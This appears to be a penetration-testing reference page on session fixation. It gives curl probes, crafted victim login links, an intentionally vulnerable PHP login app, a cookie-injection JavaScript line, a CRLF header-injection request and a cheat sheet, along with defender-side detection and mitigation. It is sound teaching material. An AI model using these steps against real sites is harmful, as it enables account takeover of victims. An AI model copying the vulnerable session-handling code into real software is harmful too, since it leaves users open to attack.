Skip to content

Fixation

Session fixation is the inverse of hijacking - instead of stealing the victim’s identifier, you force them to use one you already know. Three-stage attack: get a valid identifier yourself, propagate it onto the victim’s browser before login, ride the session after they log in. The vulnerability exists when an app reuses pre-login session identifiers post-login and accepts session identifiers from a URL, POST body, or any other attacker-controllable channel.

# 1. Obtain a valid session identifier (visit the site as an unauthenticated user)
curl -i http://target/ | grep -i 'set-cookie'
# 2. Check whether the identifier survives login
# Visit /login, capture session cookie, log in, check if cookie value changed
# 3. Check whether the app accepts identifier from URL parameter / POST
curl -i 'http://target/?PHPSESSID=I_CONTROL_THIS' | grep -i 'set-cookie'
# Or: curl -i 'http://target/?token=I_CONTROL_THIS'
# 4. Craft a victim-facing link
http://target/login?PHPSESSID=I_CONTROL_THIS
# 5. Victim clicks, logs in with that session ID, attacker hijacks
curl -b 'PHPSESSID=I_CONTROL_THIS' http://target/account/

Success indicator: after the victim logs in, requesting a protected resource with the attacker-chosen session identifier returns the victim’s account view.

What makes fixation distinct from hijacking

Section titled “What makes fixation distinct from hijacking”

Both attacks end the same way - attacker rides a valid session - but the discovery and delivery are different:

AspectHijackingFixation
What attacker stealsThe victim’s existing session identifierNothing - attacker generates their own
What attacker deliversNothing (only takes)A crafted URL or payload that fixes the ID on the victim
Vulnerability premiseXSS, sniffing, RCE, etc.App reuses pre-login IDs + accepts IDs from attacker-controllable channels
Detection on the defender sideStolen identifier appears in unexpected IP / UASame identifier used by two distinct browsers (could look like hijack too)
MitigationMany: HttpOnly, Secure, SameSite, anti-CSRF, monitoringRegenerate session ID on every authentication state change

Fixation tends to be much rarer in modern frameworks because session_regenerate_id() (PHP) and equivalents in Java/.NET have been the default for years. Where it persists is in custom session implementations or older apps.

Stage 1 - Attacker obtains a valid identifier

Section titled “Stage 1 - Attacker obtains a valid identifier”

For most apps, this is trivial: visit the homepage anonymously. The server assigns a session identifier even before login.

Terminal window
$ curl -sI http://target/
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c; path=/

You now hold ab4530f4a7d10448457fa8b0eadac29c - a valid, unauthenticated session.

For apps that don’t issue an ID until login, the attacker can register their own account (if registration is open) or use a guest-checkout flow. The point is just to get some valid identifier the app will accept.

Two conditions must hold for fixation to work:

Condition A: Pre-login identifier survives login.

Log into the app as a test user. Compare the session cookie before login (Stage 1) with the cookie after login. If they’re identical: vulnerable to fixation. If the post-login cookie is different: the app calls session_regenerate_id() or equivalent - not vulnerable.

Terminal window
# Pre-login
$ curl -c jar.txt -b jar.txt http://target/ -sI | grep -i 'set-cookie\|PHPSESSID'
$ cat jar.txt
target.com FALSE / FALSE 0 PHPSESSID ab4530f4a7d10448457fa8b0eadac29c
# Log in (uses the cookie we just got)
$ curl -c jar.txt -b jar.txt -X POST -d 'user=test&pass=test' http://target/login -sI
# Post-login
$ cat jar.txt
target.com FALSE / FALSE 0 PHPSESSID ab4530f4a7d10448457fa8b0eadac29c same! vulnerable

If after login the value changes to ed5f8..., the app regenerates - not vulnerable.

Condition B: Identifier is settable from attacker-controllable input.

The classic mechanism: a ?token= or ?PHPSESSID= URL parameter whose value is propagated into the cookie:

Terminal window
$ curl -sI 'http://target/?PHPSESSID=I_CONTROL_THIS'
HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=I_CONTROL_THIS; path=/ propagated!

Or via POST body, or via a custom header. The HTB-style example uses ?token=:

<?php
if (!isset($_GET["token"])) {
session_start();
header("Location: /?redirect_uri=/complete.html&token=" . session_id());
} else {
setcookie("PHPSESSID", $_GET["token"]);
}
?>

What this code does:

  • No token parameter → assigns one (session_start) and redirects with it in the URL
  • token parameter present → sets PHPSESSID to whatever’s in the parameter

That second branch is the vulnerability. The app trusts the URL parameter as the session ID source.

Stage 3 - Deliver the fixed identifier to the victim

Section titled “Stage 3 - Deliver the fixed identifier to the victim”

The attacker crafts a URL embedding the fixed identifier and gets the victim to click it.

http://target/?PHPSESSID=I_CONTROL_THIS
http://target/?token=I_CONTROL_THIS
http://target/login?session=ATTACKER_FIXED_VALUE

Delivery mechanisms:

  • Phishing email link
  • Crafted URL in chat / social media message
  • HTML email with <a href> pointing to the fixed-URL login page
  • Embedded in an iframe on an attacker-controlled site (some browsers carry cookies into iframes; depends on SameSite and iframe sandbox)
  • QR code in physical-attack scenarios

The victim clicks, lands on the legit app’s login page (the URL goes to the legitimate domain - only the query parameter is malicious), enters their credentials, logs in. The app sets the session as logged-in with the attacker-chosen ID.

Now the attacker’s previously-known ID maps to the victim’s authenticated session. Standard hijack from Hijacking:

Terminal window
curl -b 'PHPSESSID=I_CONTROL_THIS' http://target/account/

Returns the victim’s account view.

Even without a test account, you can probe for fixation:

Terminal window
# Send a known value as the session ID via every plausible channel
curl -i "http://target/login?PHPSESSID=AAA111" | grep -i 'set-cookie'
curl -i "http://target/login?session=AAA111" | grep -i 'set-cookie'
curl -i "http://target/login?sid=AAA111" | grep -i 'set-cookie'
curl -i "http://target/login?token=AAA111" | grep -i 'set-cookie'
# Also try POST and header injection
curl -i -X POST -d 'PHPSESSID=AAA111' http://target/login
curl -i -H 'Cookie: PHPSESSID=AAA111' http://target/login | grep -i 'set-cookie'

If any of these return a Set-Cookie with the value AAA111 reflected back (or just leave the existing cookie undisturbed), you’ve found the propagation path. The header-injection path (Cookie: already set, server doesn’t issue a new one) is the most subtle - the absence of Set-Cookie in the response is itself the signal.

When source code is available:

  • PHP: search for setcookie() calls that take input from $_GET, $_POST, or $_REQUEST without filtering
  • PHP: search for session_id($input) (manually overriding the session ID)
  • Java: request.getSession(false) is correct; request.getSession() after auth without a regenerate is suspect
  • .NET: Session.Abandon() followed by not assigning a new cookie

If the app uses a standard framework, the cookie name gives away the framework:

Cookie nameFramework
PHPSESSIDPHP
JSESSIONIDJava (Servlet, Tomcat, Jetty)
ASP.NET_SessionIdASP.NET
connect.sidExpress.js (Node.js, signed by default)
_session_id, _<app>_sessionRails
sessionidDjango
laravel_sessionLaravel
ci_sessionCodeIgniter
auth-session, auth_token, _authCustom - read more carefully

When testing fixation, try the cookie’s literal name as the URL parameter too:

?PHPSESSID=... # most common form for PHP
?JSESSIONID=... # Java
?token=...
?session=...
?sid=...
?id=...

A common misconception: “we set HttpOnly on the cookie, so attackers can’t manipulate it.”

HttpOnly only prevents JavaScript from reading the cookie. It doesn’t prevent the server from setting a cookie based on URL input, and it doesn’t prevent the browser from carrying the cookie when the victim visits the malicious link.

The fixation chain:

  1. Attacker visits http://target/?token=FIXED
  2. Server sets Set-Cookie: PHPSESSID=FIXED; HttpOnly - JavaScript can’t read it, fine
  3. Attacker shares the same URL with victim
  4. Victim visits, server sets the same cookie on the victim’s browser, the HttpOnly is honored by the victim’s browser too
  5. Victim logs in, session is established with the fixed ID
  6. Attacker uses the fixed ID via curl - HttpOnly only constrains JS, not HTTP

The defense against fixation is session ID regeneration on auth state change, not HttpOnly.

A small PHP app accepting token from GET:

<?php
session_start();
if (isset($_GET['token'])) {
session_id($_GET['token']); // ← classic vulnerability
}
if (isset($_POST['username'])) {
$_SESSION['user'] = $_POST['username'];
header('Location: /dashboard.php');
}
?>
<form method="post" action="/login.php">
Username: <input name="username">
Password: <input name="password" type="password">
<button>Log in</button>
</form>

dashboard.php:

<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: /login.php');
exit;
}
echo "Hello, " . $_SESSION['user'];
?>

Attack chain:

Terminal window
# 1. Attacker picks an arbitrary ID
ATTACKER_ID='b4d1d3ab1d4a55ed1de1d1ef1xed1'
# 2. Attacker sends victim this URL:
# http://target/login.php?token=b4d1d3ab1d4a55ed1de1d1ef1xed1
# (Phishing email, chat, etc.)
# 3. Victim clicks, logs in:
# POST /login.php with username=alice&password=...
# Server stores $_SESSION['user'] = 'alice' against session ID b4d1d3...
# 4. Attacker rides the session:
$ curl -b "PHPSESSID=${ATTACKER_ID}" http://target/dashboard.php
Hello, alice

The attacker never knew Alice’s password. They never stole her cookie. They just fixed what cookie the app would use when Alice authenticated.

Some apps don’t accept session IDs from URL but still don’t regenerate on login. The fixation chain is harder but sometimes possible:

If the app sets cookies on a parent domain (e.g., .target.com), an XSS on a sibling subdomain (blog.target.com) can write a cookie that’s then sent to app.target.com:

document.cookie = "PHPSESSID=FIXED; domain=.target.com; path=/";

The victim visits app.target.com, browser sends the attacker-injected cookie, app uses it. Mitigated by Host- cookie prefixes which forbid Domain= attribute.

Section titled “Cookie injection via HTTP-to-HTTPS upgrade”

When the user visits http://target (not HTTPS) and the network is hostile, an attacker can inject a Set-Cookie in the plaintext response that then carries over to the HTTPS site if Secure isn’t set. Older browsers had inconsistent behavior here; modern browsers mostly fix this but the long tail persists.

A reflected-XSS-like vulnerability that lets you control HTTP response headers can issue Set-Cookie directly. CRLF injection in particular sometimes allows arbitrary header injection:

GET /redirect?url=foo%0d%0aSet-Cookie:%20PHPSESSID%3DFIXED HTTP/1.1

If the app blindly inserts url into a Location: header, the CRLF in %0d%0a may break out and inject a second header. Mostly fixed in modern web servers but worth a shot.

What this looks like from the defender’s side

Section titled “What this looks like from the defender’s side”

When fixation is reported to a defender:

We assigned ID `b4d1...` to a visitor at 10:01.
The same ID was used to authenticate as Alice at 10:23 (from Alice's IP).
The same ID was used to access /admin from a different IP at 10:25.

The defender’s logs see “two browsers used the same session ID” - same as a hijack would look. The distinguishing detail: the time the ID was first issued (long before login, before Alice’s session began). That’s the fixation fingerprint.

Fixation vs hijacking - when to choose which

Section titled “Fixation vs hijacking - when to choose which”

For a real engagement, you almost always prefer hijacking - it’s simpler and doesn’t require victim interaction. Fixation requires the victim to follow your link and log in, both of which are extra failure modes.

Reasons to prefer fixation:

  • You can’t read the victim’s cookie post-login but you can plant one pre-login (e.g., the cookie is HttpOnly so XSS can’t read it after the fact, but you can fix it via URL)
  • You can plant the cookie remotely but can’t extract it (cookie injection without read-back)
  • The session is established before the victim logs in and you can intervene at the pre-login step

In modern apps, regeneration-on-login is so widespread that fixation findings are rare. When you find one, document it carefully and don’t assume it works just because the parameter propagates - verify the post-login regeneration check.

TaskCommand
Get pre-login session IDcurl -sI http://target/ | grep -i set-cookie
Test URL parameter propagationcurl -i 'http://target/?PHPSESSID=AAA111' | grep -i set-cookie
Test POST body propagationcurl -i -X POST -d 'PHPSESSID=AAA111' http://target/login
Test header injectioncurl -i -H 'Cookie: PHPSESSID=AAA111' http://target/login
Compare pre/post-login IDsLogin through a cookie jar, diff before/after
Fixate via URL linkhttp://target/login?PHPSESSID=I_CONTROL_THIS
Hijack post-victim-logincurl -b 'PHPSESSID=I_CONTROL_THIS' http://target/account/
Parameter names to tryPHPSESSID, JSESSIONID, ASP.NET_SessionId, session, sid, token, id
Defender-side mitigationsession_regenerate_id(true) (PHP), equivalent in Java/.NET

For the cookie-attribute deep-dive (HttpOnly, Secure, SameSite, Domain, Path), see Auth: cookie tampering. For the session-fundamentals view (token entropy, validity, scope), see Auth: session fixation.

Defenses D3-OTP